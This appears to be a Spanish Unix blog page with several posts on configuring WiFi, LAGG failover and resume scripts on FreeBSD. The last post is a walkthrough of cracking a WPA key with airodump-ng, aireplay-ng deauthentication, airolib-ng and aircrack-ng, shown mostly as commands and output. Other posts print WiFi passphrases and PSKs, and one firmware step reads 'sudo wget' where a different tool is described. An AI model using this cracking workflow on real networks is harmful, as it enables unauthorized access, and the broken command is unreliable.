Páginas

Mostrando entradas con la etiqueta wpa. Mostrar todas las entradas
Mostrando entradas con la etiqueta wpa. Mostrar todas las entradas

sábado, 5 de septiembre de 2026

Configuración de WiFi con IP fija en FreeBSD 14.4

Configuración de WiFi con IP fija en FreeBSD 14.4

Incluye script de resume (opcional) para recuperar conexión tras hibernación

Configuración básica en /etc/rc.conf

Para usar una IP fija en wlan0, añadir o modificar estas líneas:

wlans_iwm0="wlan0"
ifconfig_wlan0="WPA inet 192.168.88.51 netmask 255.255.255.0"
defaultrouter="192.168.88.1"

En FreeBSD, la forma más sencilla y moderna de obtener el firmware para tu tarjeta inalámbrica es usando la herramienta fwget. Esta utilidad detecta automáticamente el hardware de tu sistema e instala los paquetes de firmware necesarios

sudo wget

Este comando analizará el hardware, identificará qué controladores y firmwares necesita e instalará los paquetes correspondientes automáticamente.

Configuración en /boot/loader.conf

Después de instalado el firmware, para que el sistema lo cargue al arrancar, es necesario agregar las siguientes líneas al archivo /boot/loader.conf

if_iwm_load="YES"
iwm8265fw_load="YES"
legal.intel_iwm.license_ack=1

Reiniciar el sistema para que los módulos se carguen correctamente

 reboot
Notas importantes: Asegúrarse de que /etc/wpa_supplicant.conf contiene los datos de su red WiFi. cat /etc/wpa_supplicant.conf
# /etc/wpa_supplicant.conf written by wifimgr(8)
ctrl_interface=/var/run/wpa_supplicant
eapol_version=2
fast_reauth=1

network={
	ssid="MikroTik-39F9C0"
	psk=755864a8b1a4ef59e2e62590977a75f5317193637a8629dccb18c40e8638a68e
}

Al usar IP fija, no se necesita dhclient. Por tanto, desactivar background_dhclient (ponerlo a "NO" o eliminar la línea) para evitar que sobrescriba la configuración estática al despertar:

background_dhclient="NO"

¿El sistema se recupera solo tras hibernación?

En la mayoría de los casos, sí. Al despertar, FreeBSD intenta restaurar el estado de las interfaces. Si el driver (iwm) y el subsistema WiFi funcionan correctamente, la interfaz se reasociará y mantendrá la IP fija. Esto suele funcionar bien con hardware Intel y configuraciones sencillas.

Sin embargo, si la asociación falla o la interfaz queda en un estado inconsistente (por ejemplo, si el firmware no responde o hay eventos de red que disparan dhclient). Si al despertar no tiene conexión, se puede usar el script de resume que se describe a continuación.

Script opcional para recuperar la conexión (resume-wlan.sh)

Este script destruye y recrea wlan0, fuerza la asociación, asigna la IP fija y la ruta por defecto, y mata posibles procesos dhclient que puedan interferir.

Crear el script en /usr/local/sbin/resume-wlan.sh

#!/bin/sh
# Script para restaurar WiFi tras hibernación (IP fija)
# Destruye y recrea wlan0, espera asociación, asigna IP y ruta.

sleep 3

# Destruir y recrear wlan0
ifconfig wlan0 destroy 2>/dev/null
ifconfig wlan0 create wlandev iwm0 country ES
ifconfig wlan0 up

# Iniciar wpa_supplicant
wpa_supplicant -B -i wlan0 -c /etc/wpa_supplicant.conf

# Esperar asociación (hasta 30s)
i=0
while [ $i -lt 30 ]; do
    status=$(ifconfig wlan0 | grep "status:" | awk '{print $2}')
    [ "$status" = "associated" ] && break
    sleep 1
    i=$((i + 1))
done

logger "resume-wlan: status=$status tras ${i}s"

if [ "$status" != "associated" ]; then
    logger "resume-wlan: ERROR - no asociado"
    exit 1
fi

# Asignar IP fija
ifconfig wlan0 inet 192.168.88.51 netmask 255.255.255.0

# Añadir ruta por defecto
route add default 192.168.88.1

# Matar posibles dhclient que interfieran
pkill -f "dhclient.*wlan0" 2>/dev/null

# Verificar pasados 5 segundos y reañadir si es necesario
sleep 5
if ! netstat -rn | grep -q "^default.*wlan0"; then
    route add default 192.168.88.1
    logger "resume-wlan: ruta reañadida por seguridad"
fi

logger "resume-wlan: completado (IP fija y ruta activas)"

Darle permisos de ejecución:

chmod +x /usr/local/sbin/resume-wlan.sh

Configurar devd para ejecutar el script al despertar

Crea el archivo /etc/devd/resume-wlan.conf con este contenido:

notify 100 {
    match "system"      "ACPI";
    match "subsystem"   "Resume";
    action "/usr/local/sbin/resume-wlan.sh &";
};

Reiniciar devd:

service devd restart

¿Cuándo usar el script y cuándo no?

Si no se utiliza el script:

El sistema se encarga de restaurar la interfaz al despertar. Es la opción más simple y recomendable si funciona correctamente en el hardware. Si después de probar varias hibernaciones todo va bien, no es necesario el script.

Si se usa el script:

Aporta una capa extra de fiabilidad, especialmente si se ha tenido problemas de conectividad tras la hibernación. También es útil si se cambia de red o si el driver WiFi es propenso a fallar.

Recomendación: Pruebrar primero sin el script. Si la conexión se pierde ocasionalmente, activar el script.

Notas adicionales Si en algún momento se cambia a DHCP, recordar eliminar la IP fija y habilitar background_dhclient de nuevo. Hay que asegurar de que el país (country ES) coincide con la región. Puede omitirse si no es necesario.

Script si se utiliza IP dinámica (cambia a DHCP)

Vamos a adaptar el script para que funcione con DHCP en lugar de IP fija. Esto es útil si quieremos que la interfaz obtenga la IP automáticamente al despertar (por ejemplo, si cambias de red con frecuencia o el router asigna IPs dinámicamente).

#!/bin/sh
# Script para restaurar WiFi tras hibernación (DHCP)
# Destruye y recrea wlan0, espera asociación, y lanza dhclient.

sleep 3

# Destruir y recrear wlan0
ifconfig wlan0 destroy 2>/dev/null
ifconfig wlan0 create wlandev iwm0 country ES
ifconfig wlan0 up

# Iniciar wpa_supplicant
wpa_supplicant -B -i wlan0 -c /etc/wpa_supplicant.conf

# Esperar asociación (hasta 30s)
i=0
while [ $i -lt 30 ]; do
    status=$(ifconfig wlan0 | grep "status:" | awk '{print $2}')
    [ "$status" = "associated" ] && break
    sleep 1
    i=$((i + 1))
done

logger "resume-wlan: status=$status tras ${i}s"

if [ "$status" != "associated" ]; then
    logger "resume-wlan: ERROR - no asociado"
    exit 1
fi

# Obtener IP por DHCP
dhclient wlan0

# Asegurar ruta por defecto (por si dhclient no la pone)
sleep 2
if ! netstat -rn | grep -q "^default.*wlan0"; then
    # Intenta obtener el gateway de la concesión DHCP (opcional)
    # Si no funciona, puedes poner un gateway fijo o simplemente reintentar dhclient.
    logger "resume-wlan: ruta por defecto no encontrada, reintentando dhclient"
    dhclient wlan0
fi

logger "resume-wlan: completado (DHCP)"
FreeBSD es genial!.

lunes, 6 de abril de 2026

Configuración de LAGG failover en FreeBSD 14.4

LAGG failover en FreeBSD 14.4 em0 (primaria) y wlan0 (respaldo via iwm0)

Fuente:


https://www.ccammack.com/posts/configure-a-wifi-client-on-freebsd
https://wiki.freebsd.org/Devd
https://headthirst.com/freebsd-suspend.html
https://forums.freebsd.org/threads/freebsd-command-line-wifi-manager.89090/
https://www.dwarmstrong.org/freebsd-network-laptop/
https://libreboot.org/docs/bsd/suspend-resume-speedup.html
https://forums.freebsd.org/threads/freebsd-command-line-wifi-manager.89090/
https://forums.freebsd.org/threads/wifi-stops-working-after-suspend-resume.85889/
https://www.reddit.com/r/voidlinux/comments/1lfxurz/wifi_disappears_after_waking_from_suspend_i

Nombres de los dispositivos 802.11 disponibles

sysctl net.wlan.devices
net.wlan.devices: iwm0

Tomando como ejemplo mi computadora portátil (Dell Latitude 7390), la interfaz Ethernet em0 funcionará como puerto maestro y la interfaz inalámbrica wlan0 será el dispositivo de respaldo. Combino las dos interfaces en una interfaz virtual sobrescribiendo la dirección MAC de la interfaz Ethernet con la dirección MAC de la interfaz inalámbrica.

Determinar la dirección MAC de la interfaz inalámbrica

ifconfig wlan0 | grep ether
	ether 18:56:80:f8:98:e6

Cambiar la dirección MAC de la interfaz Ethernet para que coincidan

ifconfig em0 ether 18:56:80:f8:98:e6	

/etc/rc.conf

...
ifconfig_em0="ether 18:56:80:f8:98:e6"
wlans_iwm0="wlan0"
ifconfig_wlan0="WPA"
cloned_interfaces="lagg0"
ifconfig_lagg0="laggproto failover laggport em0 laggport wlan0 SYNCDHCP"
create_args_wlan0="country ES"
defaultrouter="192.168.88.1"
defaultroute_delay="10"
background_dhclient_lagg0="YES"
... 
Archivo /etc/wpa_supplicant
/etc/wpa_supplicant.conf
ctrl_interface=/var/run/wpa_supplicant
eapol_version=2
fast_reauth=1

network={
	ssid="MikroTik-39F9C0"	
        psk=755862a5b1a4ef59e2e62590677a75f5317193637a8629dccb18c40e8634a68e
}

Reiniciar

Estado general del LAGG

ifconfig lagg0
lagg0: flags=1008843 UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST,LOWER_UP metric 0 mtu 1500
	options=0
	ether 18:56:80:f8:98:e6
	hwaddr 00:00:00:00:00:00
	inet 192.168.88.50 netmask 0xffffff00 broadcast 192.168.88.255
	laggproto failover lagghash l2,l3,l4
	laggport: em0 flags=1 MASTER
	laggport: wlan0 flags=4 ACTIVE
	groups: lagg
	media: Ethernet autoselect
	status: active
	nd6 options=29 PERFORMNUD,IFDISABLED,AUTO_LINKLOCAL

Ver puerto activo

ifconfig lagg0 | grep -E "laggport|status"
	laggport: em0 flags=1 MASTER 
	laggport: wlan0 flags=4 ACTIVE
	status: active

Estadísticas en detalle

sysctl net.link.lagg
net.link.lagg.lacp.default_strict_mode: 1
net.link.lagg.lacp.debug: 0
net.link.lagg.default_flowid_shift: 16
net.link.lagg.default_use_numa: 1
net.link.lagg.default_use_flowid: 0
net.link.lagg.failover_rx_all: 0

En /etc/rc.conf em0 no debe tener IP propia, es gestionado por lagg0 wlan0 no debe tener DHCP propio cuando está bajo lagg0; el DHCP lo gestiona lagg0. El failover es automático, al detectar pérdida de carrier en em0, el tráfico pasa a wlan0 sin intervención manual.

Sin conexión a Internet después de salir de hibernación

Al salir de hibernación, devd no recrea lagg0 de forma automática. La solución es un script de resume que se ejecute al despertar.

Crear el script de resume-network.sh

/usr/local/sbin/resume-network.sh

#!/bin/sh
sleep 3

# Destruir interfaces
ifconfig lagg0 destroy 2>/dev/null
ifconfig wlan0 destroy 2>/dev/null

# Recrear wlan0 sin country (lo hereda de rc.conf al crear)
ifconfig wlan0 create wlandev iwm0
ifconfig wlan0 country ES 2>/dev/null

# Recrear lagg0
ifconfig lagg0 create
ifconfig lagg0 laggproto failover
ifconfig lagg0 laggport em0
ifconfig lagg0 laggport wlan0
ifconfig lagg0 up

# Arrancar wpa_supplicant
wpa_supplicant -B -i wlan0 -c /etc/wpa_supplicant.conf

# Esperar asociacion (max 30s)
i=0
while [ $i -lt 30 ]; do
    status=$(ifconfig wlan0 | grep "status:" | awk '{print $2}')
    [ "$status" = "associated" ] && break
    sleep 1
    i=$((i + 1))
done

logger "resume-network: wlan0 status=$status tras ${i}s"

# Matar dhclient previo si existe
pkill -F /var/run/dhclient/dhclient.lagg0.pid 2>/dev/null
sleep 1

# Obtener IP
dhclient lagg0

# Ruta por defecto si dhclient no la puso
sleep 2
netstat -rn | grep -q "^default" || route add default 192.168.88.1

logger "resume-network: completado"

Aumentar timeout de dhclient

vim /etc/dhclient.conf
interface "lagg0" {
    timeout 60;
    retry 10;
}

Configurar devd para se ejecute al despertar

vim /etc/devd/resume-network.conf
notify 100 {
    match "system"      "ACPI";
    match "subsystem"   "Resume";
    action "/usr/local/sbin/resume-network.sh &";
};

Reinicar devd

sudo service devd restart

Comprobar que devd capta el evento revisando tras salir de hibernación

tail -5 /var/log/messages
Apr  5 16:11:50 solaris dhclient[13642]: New IP Address (lagg0): 192.168.88.50
Apr  5 16:11:50 solaris dhclient[13646]: New Subnet Mask (lagg0): 255.255.255.0
Apr  5 16:11:50 solaris dhclient[13650]: New Broadcast Address (lagg0): 192.168.88.255
Apr  5 16:11:50 solaris dhclient[13654]: New Routers (lagg0): 192.168.88.1
Apr  5 16:11:51 solaris root[13671]: resume-network: completado

Al hibernar, FreeBSD destruye las interfaces clonadas (lagg0) y en algunos casos también wlan0. Al despertar, rc.conf no se reprocesa. devd es el mecanismo correcto para reaccionar a eventos ACPI como Resume.

El sleep 3 inicial es importante porque iwm0 necesita unos segundos para que el firmware del adaptador WiFi Intel esté operativo tras el resume.

Ver si devd captó el evento Resume

grep -E "Resume|resume-network" /var/log/messages | tail -5

Apr  5 15:48:07 solaris carlos[12362]: resume-network: wlan0 status=associated tras 3s
Apr  5 15:48:09 solaris carlos[12527]: resume-network: completado
Apr  5 16:11:39 solaris kernel: rtsx0: Resume
Apr  5 16:11:49 solaris root[13506]: resume-network: wlan0 status=associated tras 3s
Apr  5 16:11:51 solaris root[13671]: resume-network: completado

Comprobar que dhclient obtuvo IP

Apr  5 16:11:50 solaris dhclient[27343]: My address (192.168.88.50) was deleted, dhclient exiting
Apr  5 16:11:51 solaris dhclient[28339]: dhclient already running, pid: 28314.
Apr  5 16:11:51 solaris dhclient[28339]: exiting.
Apr  5 16:11:52 solaris dhclient[28317]: connection closed
Apr  5 16:11:52 solaris dhclient[28317]: exiting.
Apr  5 16:11:54 solaris dhclient[28659]: New IP Address (lagg0): 192.168.88.50
Apr  5 16:11:54 solaris dhclient[28663]: New Subnet Mask (lagg0): 255.255.255.0
Apr  5 16:11:55 solaris dhclient[28667]: New Broadcast Address (lagg0): 192.168.88.255
Apr  5 16:11:55 solaris dhclient[28671]: New Routers (lagg0): 192.168.88.1
FreeBSD es genial!.

lunes, 17 de noviembre de 2014

Activar Wifi FreeBSD 10

Nota: Tener activado WPS en el router de su proveedor de acceso a internet es un agujero de seguridad importante. Permite conectar a su red a cualquier intruso con cero conocimientos. ¿Como funcionan?, circulan por la red varias aplicaciones que combinadas lo hacen posible. No importa  el algoritmo de cifrado  (WPA, WPA2) ni la complejidad del password.
Uno de ellos maneja una base de datos que contiene PIN por defecto de algunas marcas y modelos de routers. Ejemplos: las suite de seguridad Backtrack y Xiaopan o los programas  Inflator y Reaver.
Pfsense y FreeBSD proporcionan seguridad adicional para evitar el acceso no autorizado la red.

Activar la tarjeta inalámbrica en una estación de trabajo a traves de kconsole en FreeBSD 10 es un poco diferente. No necesita tocar el archivo /etc/loader.conf

Ejemplo para la 3945ABG de Intel que utiliza el driver wpi.

$ pciconf -lv| grep Wireless

 device = 'PRO/Wireless 3945ABG [Golan] Network Connection'

 wpi - Intel 3945ABG Wireless LAN IEEE 802.11 driver

1. Instalar wpa_supplicant
2. Crear el archivo /etc/wpa_supplicant.conf con los datos de su conexión
3. Agregar entradas al archivo /etc/rc.conf
4. Opcional mente puede utilizar un gestor gráfico (wifimgr)
5. Reiniciar

# pkg install wpa_supplicant
# ee /etc/wpa_supplicant.conf

ctrl_interface=/var/run/wpa_supplicant
eapol_version=2
ap_scan=1
fast_reauth=1

network={
ssid="freebsd_unix"
psk="ugh4&Oh#Z6"
priority=5
}
network={
priority=5
key_mgmt=NONE
}

Agregar entradas al archivo /etc/rc.conf

# echo 'wlans_wpi0="wlan0"' >> /etc/rc.conf
# echo 'ifconfig_wlan0="WPA DHCP"' >> /etc/rc.conf

# shutdown -r now

Instalar el gestor de redes que por defecto utiliza FreeBSD:
# pkg install wifimgr




Unix es genial!.

jueves, 24 de julio de 2014

FreeBSD wifi Intel 3945ABG

El manual de FreeBSD cubre un único método que funciona hasta 7.x serie voy a añadir aquí lo que debe hacer para hacer trabajar inalámbrica Intel 3945ABG en FreeBSD 9.1.

Nota: durante la instalación FreeBSD 9.x puede hacer esto mismo de forma totalmente automatizada, creando los archivos e instalando los ports necesarios.

Gracias a vermaden administrador de daemonforums.org

Averiguar tarjeta hardware wifi de mi laptop:

$ pciconf -lv| grep Wireless

 device     = 'PRO/Wireless 3945ABG [Golan] Network Connection'

 wpi - Intel 3945ABG Wireless LAN IEEE 802.11 driver

Para compilar este driver dentro del kernel, coloque las siguientes líneas en el archivo de configuración del kernel:
           device wpi
           device wpifw
           device pci
           device wlan
           device wlan_amrr
           device firmware

Como alternativa, para cargar el controlador como un módulo en el arranque, coloque la siguiente línea en el archivo /boot/loader.conf

if_wpi_load="YES"

Por si sola la wlan0 no se podra usar para conectarse. Primero debemos generar un alias para esta como wlan0:
# ifconfig wlan0 create wlandev wpi0

# ifconfig -lv
msk0 wpi0 fwe0 fwip0 lo0 wlan0

Ahora ya teniendo una interfaz wlan0, ahora si encontraremos nuestra red alrededor:

# ifconfig wlan0 up scan
SSID/MESH ID BSSID CHAN RATE S:N INT CAPS
HPC943A6 02:21:11:c2:59:bd 10 54M -87:-96 100 I
ONOB4C5 00:1a:ef:05:97:c6 5 54M -94:-96 100 EP WPA
43157023 00:21:00:6d:e3:df 6 54M -95:-96 100 EP
Orangeb12 00:21:91:5f:1a:0d 6 54M -72:-96 100 EPS RSN WPA ATH

Es necesario añadir estas líneas a estos archivos:
Archivo /etc/wpa_supplicant.conf

# echo 'if_wpi_load="YES"' >> /boot/loader.conf

# echo 'wlans_wpi0="wlan0"' >> /etc/rc.conf
# echo 'ifconfig_wlan0="WPA DHCP"' >> /etc/rc.conf
# echo 'defaultrouter="192.168.1.1"' >> /etc/rc.conf
# echo 'wpa_supplicant_enable="YES"' >> /etc/rc.conf
# echo 'wpa_supplicant_conf_file="/etc/wpa_supplicant.conf"' >> /etc/rc.conf

Solo root tendrá acceso al archivo wpa_supplicant.conf:
# chmod 600 /etc/wpa_supplicant.conf

# wpa_supplicant -B -i wlan0 -c /etc/wpa_supplicant.conf
-B para que la aplicación se ejecute en segundo plano.

Los dos ejemplos de wpa_supplicant son válidos:
# ee /etc/wpa_supplicant.conf

ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=0
ap_scan=1

# WPA2-PSK
network={
ssid="ONO6F49"
bssid=5c:35:3b:ea:68:b3
key_mgmt=WPA-PSK
proto=RSN WPA
psk="0aQpU$nMSHhV"
}


Archivo /etc/rc.conf


Archivo /boot/loader.conf


Interfaz gráfica, por supuesto, instalamos wifimgr (WiFi Networks Manager)
# pkg install wifimgr

Esta aplicación creará su propio archivo wpa_supplilcant.conf pero antes guardará el wpa_supplicante.conf actual bajo el nombre wpa_supplicante.conf.save.




http://www.qnx.com/developers/docs/6.4.1/io-pkt_en/user_guide/wpa_background.html
http://howtobsd.com/hardware/wi-fi-on-freebsd.html
http://forums.freebsd.org/viewtopic.php?t=44211

Unix es genial!.

lunes, 17 de enero de 2011

Wpa y airolib-ng

Claves Wpa y airolib-ng
Avanzado

Capturar el Handshake AP y canal especifico:
hypatia gentoo # airodump-ng --bssid macap -c 1 -w output mon0

Desautenticar
hypatia gentoo # aireplay-ng --deauth 10 -a macap -c maclient mon0

Aparece el nombre del essid oculto
Tendo el Handshake

wpa Handshake: xx:xx:xx:xx:xx:xx

hypatia cowpatty-4.3 # airolib-ng /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa --import passwd /media/wpa_tables/wpa_psk-h1kari_renderman/word.lst /media/wpa_tables/wpa_psk-h1kari_renderman/database
Database does not already exist, creating it...
Database sucessfully created
Reading file...
Writing...lines read, 190867551 invalid lines ignored.
Done.

Un archivo de texto llamado essid con el nombre del ssid:
hypatia cowpatty-4.3 # airolib-ng /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa --import essid ./essid
Reading file...
Writing...
Done.

hypatia cowpatty-4.3 # airolib-ng /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa --stats
There are 1 ESSIDs and 4047221 passwords in the database. 0 out of 4047221 possible combinations have been computed (0%).

ESSID    Priority    Done
JAZZTEL_568B    64    0.0

hypatia cowpatty-4.3 # airolib-ng /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa --clean all
Deleting invalid ESSIDs and passwords...
Deleting unreferenced PMKs...
Analysing index structure...
Vacuum-cleaning the database. This could take a while...
Checking database integrity...
integrity_check
ok

Done.

hypatia cowpatty-4.3 # airolib-ng /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa --batch
Computed 25000 PMK in 126 seconds (198 PMK/s, 225000 in buffer).
Computed 50000 PMK in 248 seconds (201 PMK/s, 200000 in buffer).
Computed 75000 PMK in 370 seconds (202 PMK/s, 175000 in buffer).
Computed 100000 PMK in 492 seconds (203 PMK/s, 150000 in buffer)
Computed 4047221 PMK in 20216 seconds (200 PMK/s, 0 in buffer).
All ESSID processed.

hypatia cowpatty-4.3 # airolib-ng /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa --verify all
Checking all PMKs. This could take a while...
ESSID    PASSWORD    PMK_DB    CORRECT

hypatia cowpatty-4.3 # aircrack-ng -r /media/wpa_tables/wpa_psk-h1kari_renderman/crackwpa output-01.cap

current passhare: .....

key fount [..........]

Linux es genial!.